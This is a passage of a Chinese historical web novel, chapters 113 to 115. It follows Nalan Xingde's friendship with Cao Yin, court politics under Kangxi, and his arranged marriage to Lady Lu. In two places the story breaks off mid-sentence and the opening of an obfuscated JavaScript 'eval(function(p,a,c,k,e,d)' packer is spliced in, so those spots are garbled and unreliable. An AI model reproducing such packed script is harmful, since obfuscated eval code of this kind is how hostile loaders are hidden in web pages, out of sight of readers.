【注1】【注2】江南织造,包括:江宁织造(曹寅主理)、苏州织造和杭州织造,是清朝设在地方的情报机构。 【注3】卢氏手艺,见第105章。 【注4】史实:纳兰性德最敬最爱的诗人是李商隐,最厌恶最不读的是杜甫的作品。见第62章末尾。 【注5】出自纳兰性德《山花子·风絮飘残已化萍》 113.第113章 听说纳兰在家里愁闷了好几日,康熙皇帝打算叫御前侍卫曹寅去看他。 “你没来慈宁宫宫宴,所以不晓得纳兰心事。”玄烨脚步轻快地走着,“他一下子想要朕恩准他回家,一下子想要朕撂他去书房候着,无可奈何陪卢氏到外头逛了一圈之后回来,朕看不出他有一丝享受欢愉之态。” “奴才决心做个反例!”曹寅口快。 “你要反什么规矩?”玄烨问。 “奴才说错了,奴才是想说自己要给皇上给老祖宗做个范例,静候指婚恩典,完成任务!” 玄烨驻足,交叉着双手,冷问:“指婚是满清贵族才能享受的荣耀,你竟然说是完成任务?” “奴才又说错了,奴才是想说:不管皇上和老祖宗让奴才日后娶了哪家姑娘,都会好好完婚!” “好!”玄烨略一想,“有位顾氏姑娘不错,江南大户人家出身,她阿玛在户部任职,为官清廉,深受朕器重,你将她纳为正室。另有一位李氏姑娘,是苏州织造李煦的妹妹,与你年龄相仿,温柔贤淑,刺绣手艺尤为出色,朕也把她一并指给你。” 曹寅没想到皇上一下子给他挑了两位女子,当即跪地谢恩。 “顾总管,你到慈宁宫去,把朕的意思都给太皇太后仔细说。” “奴才愚钝,到底是说万岁爷有意撮合鸳鸯呢?还是说曹侍卫主动想成亲呢?” “干爹,您是真的糊涂啊!”梁九功小声道,“您这趟差事,是去慈宁宫请太皇太后的意思:皇上给曹侍卫指婚的事情,一次指了俩姑娘,是成还是不成?” “你倒是出息了。”玄烨好不容易夸了梁公公一句,“就跟着顾总管一块去慈宁宫给太皇太后问安吧。” “奴才谢万岁爷!” * 渌水亭的回廊中,容若安安静静地看蔡启僔送的藏书。 只有书,才能让自己忘记在“二十岁那年,娶十八岁的卢氏”的事。 只有书,才能让自己把心思放到日后的补殿试上,给考取功名之路一个结局。 管家上前,“公子,曹侍卫来了。” 曹寅快意道:“纳兰,跟你说个事,日后我可是有盼头的人了!太皇太后叫我日后到江南去主理江宁织造,皇上今日将两位大家闺秀指给我了。” “恭喜子清【注1】。” 这么一比较,容若觉得自己的人生真是一塌糊涂。要正式的官职没正式的官职,要投缘的正室没有投缘的正室,当真是对父母不孝。 一晃神,他四处搜索原本应该放在回廊侧面的鱼饲料,好去渌水池边喂鱼,才发现当下是严冬,池子一片冰封似镜,哪来的喂鱼的机会? “老祖宗说了,我还得在宫里再历练几年,她才放心把江宁织造交给我。”曹寅走到纳兰身后,搬着好友的肩膀道,“所以接下来,我还是跟你一块,继续在皇上身边当差。” “子清,你的姻缘是好事成双,将来肯定夫妻美满,多子多福。你再在皇上身边多熬些年岁就自由了,江南有的是你大展身手之处……不似我,仰观苍穹无光,俯瞰大地不坦,只想一个人呆着,一生付予这诗书也罢。” 曹寅劝道:“纳兰,你的祖上跟我不一样啊,太皇太后就算是想越过皇上给你自由,也给不了。至于那卢氏姑娘,你只是潜意识里觉得她不好,你要是像我一样,把要娶进门的姑娘都往好的方面去想,那天不就亮了、地不就宽敞了?” “两情相悦、一见钟情、日久生情。”纳兰边说边摇头,“我最怕的就是第三个,身在情长在,到了最后,谁也离不开谁,一方不在另一方牵挂,余生岂不是都在思念中度过了?” “照我看,纳兰你就是书读的太多,才会悲情。我曹寅十八岁,人生一半读书一半学世故,比你知晓——感情事和功名事,都要往乐观方向去看待的道理。” “好,我试试看。” 曹寅开始当起容若的老师来,步步教他感情之情。 “要是卢氏姑娘向你示好或是有所用心,你可要懂得如何回应她呀!” 容若把残荷凋零的枯枝一折,就像把情丝一剪一样,道:“这我哪知道她想得到什么回应?” “没错,天下是有这么一条道理:向来只有别的女子对纳兰公子不求回报的好,没有纳兰公子困在情关独自消瘦的说法。”说着,曹寅拎出一个人来,“但是连禹之鼎都懂得让云辞格格高兴,纳兰你不能输给他啊!” “没错,我不能输。”纳兰一转身,走回渌水亭的石桌边坐下,“日后再有机会接触卢氏,我会照子清你教的来:乐观、将心比心,相互开心。” 午间,厅堂的饭桌之上。 容若和曹寅同吃了一席精致菜肴,其中要属“白玉莲开”最得曹寅高评价。 那道菜,是用白菜心雕刻成莲花花瓣的模样,拼接起来组成一朵大莲花,再浇上用母鸡、干贝、排骨、螺肉片等食材熬制出来的高汤,使人见之:如白莲花浮动于明镜之上,静静盛开在眼前,可消尘世三千烦恼。 “其实我前天做了一个梦。”曹寅回忆着,“我梦见自己在江南风生水起,家财万贯,宾客盈门。康熙皇帝六次南巡,其中我曹家接驾五次,极尽排场与奢华。花钱好似流水一般,动辄百万银两起步。” “在你的梦里,皇上有带着我一起去吗?” “有,康熙皇帝第一次南巡就是由你伴驾,你跟皇上一并住在我家里。皇上在口头上叮嘱我:‘勿要铺张浪费。’ ” “这倒是君对臣的肺腑之言。”纳兰认真道,“子清,荣华富贵,过眼云烟,惜福为上,不可不谨慎。” “真是奇怪啊,在梦境里,我嘴上应着好,然后就有无数的场景切换于我的眼前,我看见:皇上下江南的阵势越来越浩荡,我曹家接驾在行动上也一次比一次破费,甚至还用上了不该用的公款!” 纳兰一把拉住曹寅的手,正色道:“子清,你接手江宁织造后,怎么着也是个皇商吧?可不能做贪赃枉法之事。多想想怎么让曹辈子孙世世代代繁荣吧!这样一来,你就能自知分寸。” “真是一模一样!”曹寅惊然,“在梦里你就是这么劝我的。你还说,建立在金钱和物质之上的取悦帝心,虽能让天子尽兴而来和满意而归,但却是无处不在积弊。你对我劝善规过,在皇上面前为我说情,我正要在事后大谢你,就醒了!” “子清,你去江南后,我该如何寂寞?要是禹之鼎和云辞格格一并登船去了西洋,不回大清,那就剩下我一个人在皇上身边做陪臣了。” “只怕你自以为寂寞,实际却在明索两党的斗争和皇上对你的桎梏之中……脱不了身啊!” “不是自以为,那才是真正的寂寞当中的寂寞。” 曹寅计上心头,“我倒是有一个能叫你挣脱的办法。” “是什么?”容若忽然一苦笑,“你可别叫我去出家。” “要么明珠大人主动从朝务之中引退,在家颐养天年;要么纳兰你从皇上身边请辞,远走高飞,到谁也找不到你的地方去。”曹寅强调,“你别觉得我是在瞎说,最强莫过于父子同心同力,皇权见不得你们父子都位居人臣之顶,要想保命,不得不有一方做出牺牲啊!” “哦。”容若浅浅饮了口碗中汤,“做出让步和牺牲的,那必定是我。” “皇上真舍得?”曹寅不觉纳兰心事,“更何况说句不中听的,皇上处置明珠大人不是比处置你容易吗?所谓重臣多揽罪,乃至是欲加之罪。” 舍得。舍不得。 容若心中轻笑,笑后则是轻叹。 可以肯定一点,自己要比曹寅对康熙皇帝了解的多。 ——臣子忠君,是铁则;君以赏或罪待臣,是君主自持君意。 ——当今天子对纳兰父子,用而不尽用,是不放心和不信任;放而不肯放,是怕己有失和怕一不错步步错。 如是而已,君君臣臣,一镜两面。 容若忽然精神一振,强迫自己从当下的状态中走出。 “子清,今天是你诸喜临门的日子,我不该因为自己的小心绪给你添扰。”容若以己所能问曹寅,“我没有什么好送你的,就给你画一幅画吧?” 曹寅一笑,指向纳兰书房的方向,“一幅画不够,还要一首纳兰词。” “好。”容若起身应邀,“心中正有佳词句,笔下正涌万卷涛,我写一首《鹧鸪天》,用苏东坡的豪放调子。” * 数日后的一个下午,明珠从朝堂回来。 听管家说:“长公子没胃口进膳,一副心思恨不得随运笔吃了墨和随着天气葬了花!”就匆匆去了容若的房间。 “儿啊,你这是在做什么?” 明珠见儿子对着画纸半画半停,又不见袖云在一旁陪着,不禁担心起来。 “儿给曹寅画江南山水,画好后还要在上面题一首词。”容若侧头一想,“大抵需要耗时三日。“ 明珠一看儿子模样,又一指案上卷,略皱眉问道:“可你这画的不是自家的荷花池吗?” “啊?我没觉得。” 公子风雅笑,就跟没事的人一样。 明珠示意儿子,一起到画案外坐下。 “如今皇上圣宠皇后,恩泽六宫,可是给八旗子弟们做足了样子。你也不能这般消殆自己,让别人不放心啊!” “阿玛说什么呢?儿好得很,还等着跟卢氏姑娘下一次见面呢。” “真的?”明珠惊的一触儿子的额头。 “真的。” 容若笑移阿玛的手。 如寻常,似今日,应冬季。 父子俩就这么顺理成章地聊起了正事。 “朝中有什么要事吗?” “上下一片平和,没有什么急报和战事。” “大家闺秀和名门公子喜结连理,方方面面都说得通,儿只是在履行这个人生阶段的责任,早已不再生疑太皇太后的安排了。” “阿玛从惠儿身边的宫女远黛那儿听到口讯,说是皇后娘娘问卢氏:‘你愿意听从太皇太后的意思,嫁入纳兰家吗?’得到的回答是:‘我虽不明白太皇太后这样安排的用意,但是夫君是纳兰容若的话,我愿意。’也不晓得是不是她的真心话。” “我想开了,以后卢氏进了家门,不是还有额娘的教导和袖云的帮持吗?她定是只会给纳兰家添福而不会添难的。” “原本照着满人的规矩,长子娶了正妻以后,要连带着侧夫人一起搬离原本的住处,咱们纳兰家也在它处建有别墅,可是阿玛不放心,所以跟你额娘商量过了,还是让你和妻妾都继续留在明府住。” “儿本就不想离家,儿对这个家的感情,太深太深了……” “倒是荒废那栋别墅,就这么空着也不是办法。” “阿玛您要是不介意,留做给一些汉人文人来使用也无妨。” “我对别墅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可不是吗?当时我明珠就是这么给皇上回话的。结果你猜怎么着——” “儿猜到了,定是索额图又站出来唱阿玛的反调。” “索额图在皇上和众朝臣们面前这么说:‘明珠你可真行啊!该不会是以为你儿子纳兰性德的文学修养不仅仅限于诗词,还能设计国旗吧?若是,你倒是给皇上立个誓言,说:以两个月为限,纳兰性德能设计出国旗来,就以‘利国利民’之功来封赏;反之他要是做不出来,那就以‘夸口无功’之罪来父子并罚,如何?’我明珠当即就应了索党的赌。” 容若拨了拨桌面上的纳兰香小香鼎。 心想:还好这是国事不是国难,否则“明索两党”还当着皇上的面斗派阀,真是叫南怀仁等洋人忠臣们见笑。 ——阿玛急着立功来再登高位无可厚非,索额图无计可施、只剩下嘴皮子来针锋相对也说得通。 ——偏就是上升到了“大清、国家、领土、旗帜”这八个字上面,自己内心汹涌澎湃,急不可耐地想出一份力。 “阿玛可感知到了?儿的心情忽然大好,就跟是找到了要事可做一样。” 明珠却是半喜半忧。 “设计国旗之事,可大可小。做得好,就是举国欢庆;做得不好,就是把八旗亲贵、铁帽子亲王和皇家权贵统统得罪个遍,你我父子的骂名会被牢牢写在清史上。” “儿一定让阿玛正官威,让大清正国威。” 容若的模样,给明珠的感觉就如同是在立誓一般:坚韧、执着。 “阿玛自然是知晓你这份心。但是事分先后,娶卢氏也要紧。” “儿明白,等太皇太后下旨安排就是了。儿只当娶卢氏是与她共修夫妻缘分,迎她进明府是为了明府多一份欢声笑语。” “你能这么想,阿玛和你额娘都放心。” “儿不阻阿玛,恭送阿玛去将儿的打算和觉悟都说与额娘听。” “嗯。你继续画你的画,缺什么好墨或是好纸笔,都尽快叫人去跟内务府的管事公公说,这是皇上给你的特许。” “儿什么都不缺,只缺实际畅游一番江南好景。” 见儿子的心忽然“飞”了,明珠赶紧做了规劝: “容若,阿玛可事先把话跟你说明白——你要是在卢氏进门当天失了心窍,去提或是去找那来路不明的汉人女子、与她双双私奔去江南,那就是不遵皇命的大罪。咱们纳兰氏百余口人的生死,可全都在你手里拿捏着。” 说罢,明珠又疑起了儿子的画,生怕那是儿子“别出心裁”之作。 继续,明珠又想到了一首跟画中意境极其贴切的诗: 方塘收雨脚,落日半遥岑。 芙蕖净娟娟,丽服抚翠衾。 弄芳惜晼晚,酒至谁与斟。 天涯有归云,聊寄相思心。 【注2】 “怪不得我进来的时候,见你魂不守舍。”明珠豁然开朗,“原是你人在明府,心在江南美人间。” “阿玛说什么呢?”容若看向画案,“那幅画,是我画给曹寅的预贺之作,不是为您口中的‘来路不明女子’而画。您要是误会,那就是叫儿子伤心。” “好,就当是阿玛多心。”明珠本着严父模样,“这几天除了去皇宫见卢氏,其他地方你就别去了,其他人你也先不要见了。” “儿听阿玛的话。” 【注1】子清是曹寅的字。 【注2】出自秦观《荷花》。更多秦观(秦少游)相关请见专栏《小楼轻寒立秦观》,苏门学士秦少游x才情并茂李师师。 ps 【容若、商隐、秦观是“情字”三部曲,都会认真更新完结哒。初见(人生若只如初见,何事秋风悲画扇)+想见(何当共剪西窗烛,却话巴山夜雨时)+永见(两情若是久长时,又岂在朝朝暮暮)】 114.第114章 容若进宫以后,最大的感受就是:每个人都心情很好,而且不单单是要过年了的缘故。 格尔芬在侍卫营里风生水起,跟谁都相处的来,所以得到“照顾”也多,当真是没有依赖索额图;曹寅得了一阵子年假,竟然主动去约见了顾大人的女儿顾芷清,二人卿卿我我,毫不避嫌,美称:遵皇命,谢皇恩,待礼成。 禹之鼎画了一幅新作,主角是穿着和服的官云辞。 那套高级和服是日本使臣藤原贞吉托了商船送来的,至于商船是如何在天寒地冻的环境之中破冰而来的,就是无人知晓的逸事了。 玄烨对此并不怪罪,只是打趣道:“朕要不要给了禹之鼎一个恩典,准他穿洋服进见?” 顾问行赔笑道:“那也得禹画师有洋服才行啊!” “朕打算让禹之鼎来给你画好的国旗润色。”玄烨叫了顾问行去拿纳兰的初稿,“你有什么想法,就大胆跟朕说。” “皇上让禹画师来上色,臣觉得轻松了不少。”纳兰会心一笑,“不然再因为满汉审美之争闹出什么不愉快的事情来,臣可不想当受过之人。” “不就是汉人喜欢红色和金色,满人喜欢蓝色和白色吗?这有什么好顾忌的?”玄烨无所畏惧,“到时候挂旗出海,参战的还不是满人汉人一同组成的水师?” “皇上说的没错,国旗代表的是天子和大清,所以臣保留了‘龙’的图样。这龙的后边,臣拟放置的背景有:万里长城、巍巍长白山、九鼎中原。请皇上定夺。” “那自然是中原图景最好!”玄烨一锤定音,“长城似龙,跟真龙主图有所重复;长白山只是满人土生土长的根,不能代表朕的辽阔版图。唯有山河俱在的中原,才是九鼎定民心、安天下。” “臣明白了,细节之处,会再做描绘。细节稿件也会尽快呈现给皇上。” “真没想到在朕这一朝,竟然有了统一八旗乃至是天下的国旗,也不知道列祖列宗们怎么想?替朕高兴,还是替八旗亲贵们焦急?” “皇上对列祖列宗,尊敬地祭天相告就是;皇上对八旗亲贵们,拿出魄力来说服就是。臣认为,这是一项开创性的举措,事成之后,理应君臣民三方同乐才是。” 玄烨心情大好。 “你们纳兰父子要居功,禹之鼎要赏赐,朕统统都先做允许。” “臣这一份,算作是皇上的。大清国运强盛,国力壮大,比什么都好。” 慈宁宫的掌事太监前来。 “奴才给万岁爷请安,万岁爷吉祥。” “太皇太后有什么吩咐?”问罢,玄烨又主动道,“综合八旗设计国旗之事,朕过后会去慈宁宫跟太皇太后细说。” “回万岁爷,卢氏姑娘在慈宁宫的小花园里等着将来的夫君去见。” 玄烨看了纳兰一眼,没说什么。 顾问行问:“皇后娘娘在吗?” 那掌事太监道:“顾总管您这话可问对了,皇后娘娘正在慈宁宫里陪老祖宗说话。老祖宗的意思是,等万岁爷处理完了国事再来。” “不必了,朕现在有空,跟纳兰一起去慈宁宫。” “是,奴才为万岁爷摆驾——” * 慈宁宫暖阁内,帝后陪着孝庄有说有笑,像是:新年的准备、来年的大计、后宫和朝堂的年味儿、民间的烟火……全都聊上了。 “这当中,皇祖母我还是最看重两件事,第一是皇后再怀嫡子,第二是纳兰重补殿试。皇上,你可有过什么想法?” “朕有贤妻有贤臣,自然是两头并重。” “皇上。”苏麻喇姑提醒,“老祖宗是盼着您多子多福,后宫之中,以中宫为尊,嫡子能够稳定人心,这是最要紧的。再有就是时间过得快啊,这三年一过,又到了殿试之际,您可要好好为大清挑选人才!” “朕都心里有数,皇阿奶,苏嬷嬷,你俩放心吧。” 孝庄问:“皇上以为,纳兰和卢氏的婚事,是在生辰前还是生辰后办的好?” 玄烨原本想说“一切都由皇阿奶做主”,后又考虑到:不如多给纳兰一些婚前的个人时间,就这么回话:“孙儿以为,之后来办的好。” “我倒是觉得,年后即办也无妨。”孝庄有自己的主张,“让明府的宾客们先见一见新娘子的模样,好让之后纳兰的生日宴上,大伙儿对他的正妻不生分。” “既然皇阿奶已经拿定主意。”玄烨没有别的意见,“就按照这么来吧!” “好。”孝庄笑道,“纳兰的婚宴和生日恩赏,皇上都要亲自去思量送什么好,内务府的人只是办事的,不是替皇上挑东西的。” “孙儿一定让纳兰喜宴和生日都高兴,会把恩赏送到他的心坎上。” “皇上。”赫舍里温婉道,“臣妾听闻,蒙古妃额哲氏迁出后宫住在别院之后,日日虔心礼佛抄经,性情比之前已是好了许多。可否求皇上给她一个新年恩典?” “既然她已经改过,皇后宽量,那朕就准了内务府按照贵人的拨给来给她发年例银子吧!” “臣妾替她谢过皇上。也替后宫众姐妹谢过皇上的雨露均沾。” 玄烨忽然精神振奋地对孝庄和嫡妻道:“噶尔丹勇猛,一方面平息了草原各部族的叛乱,另一方面也让朕忧心他的势力过大,所以朕对噶尔丹采取了:有功论赏,有过暂忍的方略。” 孝庄不解:“皇上既然是对噶尔丹堤防多于放任,为何还是这般乐观?” “朕不是乐观,只是将来的目标又多了一个。”玄烨拍了拍胸脯,“朕就不信,我大清驯服不了噶尔丹,靠朝廷之力保不了蒙古的安宁。” “好!”孝庄赞叹玄烨的勇气,“大清需要这样的好皇上,将来皇上就好好施展自己统一蒙古和征服噶尔丹的抱负吧!” “皇阿奶,您是准了朕在日后亲征噶尔丹吗?” 玄烨起身,甚喜地问孝庄。 “准。”孝庄有力地一点头,“玄烨,你会是比老汗王努尔哈赤、太宗皇帝皇太极、你阿玛顺治皇帝都出色、都有名的旷世明君!” * 慈宁宫的花园里。 容若带着好心情跟卢氏一同赏冬季耐看的植物。 要说自己最喜欢的植物是什么? 第一是清水芙蓉,第二是空谷幽兰。 如过还有什么可以排在第三位的话,那应该是:鹅黄花(蜀葵)。可惜自己跟沈宛的约定一直没有实现,没有机会到她居住的地方的庭院里去看比一个人还高的重瓣鹅黄花。而且,沈宛也搬离了原来的住处,鹅黄花最终是以“种子”的形式被她收集了起来 在明府,最有意义的花卉有三: 一是自己跟额娘一起种下的两株明开夜合,开花似团扇,清风承意,娇香自生。二是自己在六岁时亲手栽下的白玉兰树,绽放如片片白裳浅晕,亭亭清香送芳尘。三是自己遇见沈宛后才开始地栽的鹅黄水仙花,最适合在白雪中折剪抱怀,独拥美好。 “浅鹅黄色的花朵好看。”容若仰头看着腊梅,“就是那种过度在柚子皮和柚子肉之间的颜色,赏心悦目。” “腊梅极香。”卢氏说着,用手轻抚蕊中雪,“花瓣也不是公子说的浅黄色。” “你透过晶莹的雪去看,它的花瓣不就成浅色了?”容若微笑,伸出掌心去接被卢氏触落的花芯雪,“我在冬天用槐花做的染料画画,要不到时候画给你看……看我心中对鹅黄色的定义、以及最好的一笔。” “好呀。”卢氏心中温温地一感动。 “嗯。说好了。”容若伴着卢氏缓行。 “草木染。”卢氏说出了三个字,又迎着公子的心情,轻吟:“叶下槐花,迎风次第开,不知风月只知闲。还要配上冻绿做的绿色染料才好。” “你竟然知道彩墨制成的自然法则?”容若瞬间惊喜,“而且……你也会作词句?” “略知一二罢了。”卢氏谦虚,“远不及公子。” “我以为,你跟别的大家闺秀没区别。只想相夫教子,无风无浪地过完一生。那样日日如旧、相伴至朱颜老的生活,不是我所喜欢。我的侧夫人颜氏,除了插花之外无一不通【注1】,但我一样喜欢她,因为她聪慧玲珑最是能够知我、懂我、顾我。” 容若双手捧起小罐栽的报岁兰到卢氏面前,温润道: “尔谖,我希望自己娶了你以后,你也是个蕙质兰心的妻子,与我心悦神怡。” “承蒙公子愿娶。”卢氏眸中氤氲,“我心中高兴、感动,反倒不知道该怎么回应公子好。” “嫁娶之事,本就该相互迁就和包容,然后才是情投意合。”容若第一次与她携手,“凡事想好则好,想坏则坏,心境全都由人。” “我成了天下至幸的女子,嫁的是至高的男子。公子,我最该谢的是你,最该爱的也是你,进入明府之后,我一定做一个好正妻、好儿媳。” “情投意合过后,是情真意切。”容若停在一处数色并开的百合花前面,“我相信自己能做一个好夫君。” “尔谖,你知道吗?”容若问她,“我在这人生的二十年里,背负了许多角色:孝顺父母的好儿子、忠于君主的好陪臣、敬谢于师的好学生,等等。但也许里面没有真正的我,所以我希望在爱情当中,能够找到真我。” “我能够给予公子的,是我这个人和我这颗心,日后甚至是我的命,都心甘情愿献给公子。” “是啊,情真意切的更上一层境界,就是心甘情愿。”容若双手捂着卢氏的手,“但是你别这般不惜自己的生命,我不说自己能否承受的起,只说我会珍惜你、善待你、对你好。” “夫君能如此,能许诺这三点,就是天下女子所求。”卢氏深切地看着容若的眼睛,“我会一直把公子的话放在心上,律己行德,此生不负。” “我忽然有种你我还未拜堂,就在说着夫妻之间的诺言的味道。”容若折下一只卷瓣百合,“提前诉说着誓言,比呢喃着小情话好。” “公子不爱听小情话吗?”卢氏趣问,“那以后花前月下、枕间被里,我们之间能说还是不能说?” “怎么不能?”容若笑问,“所谓词情画意,日常生活里少了你我之间的小情调,岂不是无味?” “是。”卢氏面带春风抚桃之美,“我愿做个活色生香的女子,为公子、为阿玛和额娘、为明府增添一抹新香。” 容若略弯腰,细看着那一排五颜六色的百合花。 他问她:“尔谖,真是奇怪,它们本不应该在冬季绽放,难不成慈宁宫是块宝地,所以才养的好它们?” “公子喜欢吗?”卢氏上前,半蹲在雪丛中,“开在冬天的百年好合之花。” 容若一下就对卢氏笑了。 他看着融入花中成景的她,道:“这是你为我提前栽下的吧?你知道纳兰公子素来爱花。” 卢氏轻轻点头,“我想给公子一份好心情,又怕公子不领情。” “怎么会呢?”容若抚过她刘海上的飘雪,“雪轻心意重,人微记忆深,我心中欢喜的很!” 卢氏娇柔一低头。 模样楚楚,格外惹人怜爱。 容若便赠了她一首诗。 《严冬邂花》 有道不言凡尘事,便是凡尘无事人。 冰雪不辞好合花,遥知今夜月照灯。 坐妆君前抱巧思,只堪相看不堪赠。 来日良宵霜月下,哪管寒星落影痕。 逛完花园,容若道:“我们一同去向太皇太后请安。” 卢氏说好,然后询问:“公子可想好要跟太皇太后说什么了?” “我将今日与你共度的美好心情,都告诉老祖宗。” “公子高兴,大家都高兴。” “是啊,我心情好得很。”容若一身清朗,步履轻快,“今日的你不同于上次的你,我喜欢为我着想、为我而美、为我而雕刻心思的你。” “公子也是,今日心情舒畅,赏花惜人,跟我说的都是——令我一回味起来,就暖心弦的话。” * 隔日。 “饮水词歌·素菜馆”的“一双人”雅室内,容若静候沈宛到来,原因是前夜沈宛悄入明府后,在他的桌案的墨砚底下留了纸条,约定了见面时间。 沈宛带了亲手做的“如意糕”和“吉祥酥”过来,配糕点的茶饮,则是容若选的绿茶。 两人未聊先吃,围炉煮茶,隔窗看飘雪,别有一番雅致。 沈宛作词一首。 《鹧鸪天·风絮》 随茶趁隙争小酥,窗外雪积风吹絮。但闻茶香赛馨香,几点心情偏作素。 昨日月,今朝云,拘情未定念斯人。旧镯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宛若俩人小憩半会儿,才一起外出到石拱桥处赏景。 听容若说完他和卢氏姑娘之间的事,沈宛问:“很快,全天下都会知道你要娶正妻和补殿试了吧?” “我在一年里接连娶妻。颜氏是阿玛和额娘挑的,卢氏是太皇太后指的。有成家之喜,却无立业之功,心中始终觉得少了些什么。” “少了些什么,比从未得到过好。”沈宛这般相劝,“其实容若你现在正经领着皇上敲定的从三品官员俸禄,算是朝臣之身,只是皇上没许可你站到明珠大人身边去一同朝拜天子和殿上言策罢了。” “你说殿试意味着什么?”容若看着池上冰镜,“一场我人生之中必须经历的考验?还是一次决定我将来命运的试炼?” “你要是把自己当作考生,那就是在博一个入翰林的前途;反之皇上要是视你为臣子,将殿试当作君臣博弈,那你就是在等待一个生涯分歧点。” “宛卿最懂我。” “容若,不管你的将来怎么样,”沈宛靠近他,偎依着他的半身,“我都不会变,永远当你幕后的女子。” “你信我,我一定给你一个名份。” “好,我相信公子。一辈子期待,一辈子等待。” * 容若坐在小亭子中许久,最终还是决定把一个“真相”告知沈宛。 “前日我跟卢氏第二次约见,全程我都待她很好。我亦知道她是个细心和善为人考虑的姑娘,可唯有一点我心中有所失望——” 容若把附近的一盆水仙花搬到石桌上,委婉道: “卢氏用栽满土地的、以假乱真的多彩百合花来迎合我的心情。” “那些经她之手做出来的百合花非常漂亮,栩栩如生,若菲冬日无蜂蝶、若非闻之无香、若非我慧眼识辨,那就是上了她的当。我不喜欢没有生命的花草,哪怕是重生在我手中我心中的花束,也只是纯纯粹粹的假花,不值得我去真爱和动情” “所以说公子你不懂女子心思。” “应该说,是卢氏只知道我爱花、而不知道我惜花感花到什么地步。” “既然你觉得自己若有所伤,为什么不跟她挑明了说?” “她苦心孤诣为我如此付出,心意珍重,我不能不领情。加之叫她触及我的内心深处想法,也不是我所愿。” “公子要是再这么下去,可能跟卢氏姑娘之间的‘各有所思’会越来越多。” “不然我还能怎么办?很多事情,不正是不挑破才得以周全和圆满的吗?” “你们是要结为夫妻的,彼此之间不该一方付出、另一方忍且伤。” “你教我,我听你说——” 沈宛敞开了话匣子: “最开始,我也不适应容若你说话的方式。但是后来就好了,我变得慢慢地能够接上你的话,你跟我之间的对话也变得越来越有‘人间烟火’和‘生活气息’了,不会像你面对明珠大人那般,一字一句都斟酌两三遍。” “惠儿小姐说过,一个女人才能懂得另一个女人。你俩第一次在宫宴上约见,卢氏姑娘说的‘换来回报’,是指得到你的真心吧?你却误以为她只想从你身上得到利益。当然这也不怪你,你的成长环境注定了你是个需要被爱抚和关切的人,你付出一切,你怕自己被指婚所娶的女子掏空,所以你小心谨慎地应对。” “你懂得自我保护,你在寻觅真情。你担忧在婚后与卢氏姑娘相敬如宾,所以你不断地按照自己的方式来营造美好氛围、给予她呵护感和安全感。你不敢打破自己的内心牢笼,面对她,你的心像是被柔软的蚕丝包裹着。” 容若怅凝眼前的水仙花。 沈宛说的没错,一颗被蚕丝包裹的心,需要一个懂得纺线的女子才能抽丝破解。 这时候,刘管事过来传话。 “公子,太皇太后定下了您和卢氏姑娘的大喜日子,老爷和夫人正等着您回府去向传旨的侍卫谢懿旨呢。” 容若一抬头,看见了小亭子外的浅蓝天空。 他只对沈宛道: “宛卿,今日最好的事情,是我从你手里得了一首词和一首诗。我能给你的最好回报,是过好接下来的日子,包括我和你之间的一切一切、一幕一幕、一遇一遇。” 【注1】 纳兰性德的侧夫人颜袖云,不可谓不懂插花,只是明珠这般说,见第16章。 在纳兰心中,颜氏的插花有自己的风格,只是略输明珠心中的明府风格。 另外,颜袖云懂得为公子挑花、备花、养花,做的完美无挑,很得公子心意。 115.第115章 纳兰性德迎娶卢氏当日,天色大好,共为新人春。 明府张灯结彩,一切按照太皇太后的意思来布置、宴客、行婚礼。 礼部的安大人和内务府的大总管噶禄早早地带着手下来到了明府,一一确认过喜事细节都无疏漏以后,才松了一口气,打发了回皇宫去给太皇太后和康熙皇帝回话。 明珠喜悦道:“容若大婚,承蒙皇上天恩和太皇太后懿惠,才能办的如此不失体面,本官真是打着心底里为今日的新人高兴!” 管家金叔亦是客客气气地对两位大人相请:“安大人,噶禄总管,快快客席上座有请——” 噶禄总管道:“我等能够顺利为皇上办事至今,多亏了明珠大人关照啊!今日必定是要在皇上和太皇太后要求办的差事之上,拿出更大的诚意来庆贺明珠的长公子的好合喜礼才是!” 明珠契合实际道:“你等知道我儿容若最欢喜的是什么吗?就是到场的每一个人都尽兴,天下的有心之人都同乐。像是什么贺礼啊、祝词啊、排场啊,在他看来全是虚的。” “知子莫若父。”安大人佩服道,“纳兰公子的品行卓然于世,当真是清许有嘉。” “所以你俩不必再额外为我明珠或是明府再添什么心意,人情到达,已经胜过一切。” 言罢,明珠心情朗然,跟容若的约定,他算是做到了。 另一边,容若彬彬有礼地接待每一位客人,明珠压根不用担心儿子会有出差错或是会有闪失。 侧夫人颜袖云亦是张弛有度,打点着客场之外的一切,将公子的大婚房间布置的温馨和暖,只等公子与卢氏一同春宵千金、酣眠婉辗。 卢氏坐在花轿里面,端庄大方,心有所期。 出发之前,她别离了赫舍里皇后,跟苏麻喇姑说了半夜的话。 她道:“苏嬷嬷,我知道纳兰公子好,但正是因为他太好,我才不知道自己该怎么好。是对是错,好像是不能够凭借我自己来判断了,我是注定了要做一个符合纳兰家的要求的儿媳吗?” 苏麻喇姑耐心道:“孩子,跟纳兰公子遇见过的女子相比,你的确不是最出彩的,但是你就是你,无需去跟别人比较。你要是失去了自己的灵魂,那才叫做遗憾。” 卢氏心里清楚: 公子跟惠妃娘娘是打小的情缘,相结相离未相断;公子跟云辞格格是门当户对的一对,中西合璧世无双;公子跟侧夫人袖云是相濡以沫之感,他的孤寂他的黑夜甚至是他的病痛,全是由她陪着缓释苦楚。 甚至还有那位宛姑娘,哪怕自己只是在公子被软禁在慈宁宫侧暖阁的时候,听见公子在模糊中唤过几声“宛卿”,也足以感知到她在公子心目中的地位。 唯有自己,一个“最像妻子,也最不像妻子”的人,成为了纳兰性德的正室。到底这场婚姻会为公子留下美名?还是留下憾名? 花轿离明珠府越来越近。 卢氏耳边回荡着苏麻喇姑的一句话: “纳兰公子的心虽温热,但也需要你捂一捂才能融化别人所不知的冰霜,你一定会成为被他珍爱一辈子的女子的。” “明府到——落轿——” 随着打头阵的仪仗队的一声喊,花轿的门帘被卷起,两个嬷嬷上前,一左一右扶卢氏下了轿,往明府的大门涉阶而上。 卢氏在脑海中想象着夫君迎接自己的场景,不由得心中怦怦跳。 * 宴客厅内,容若对新娘子的到来翘首以盼。 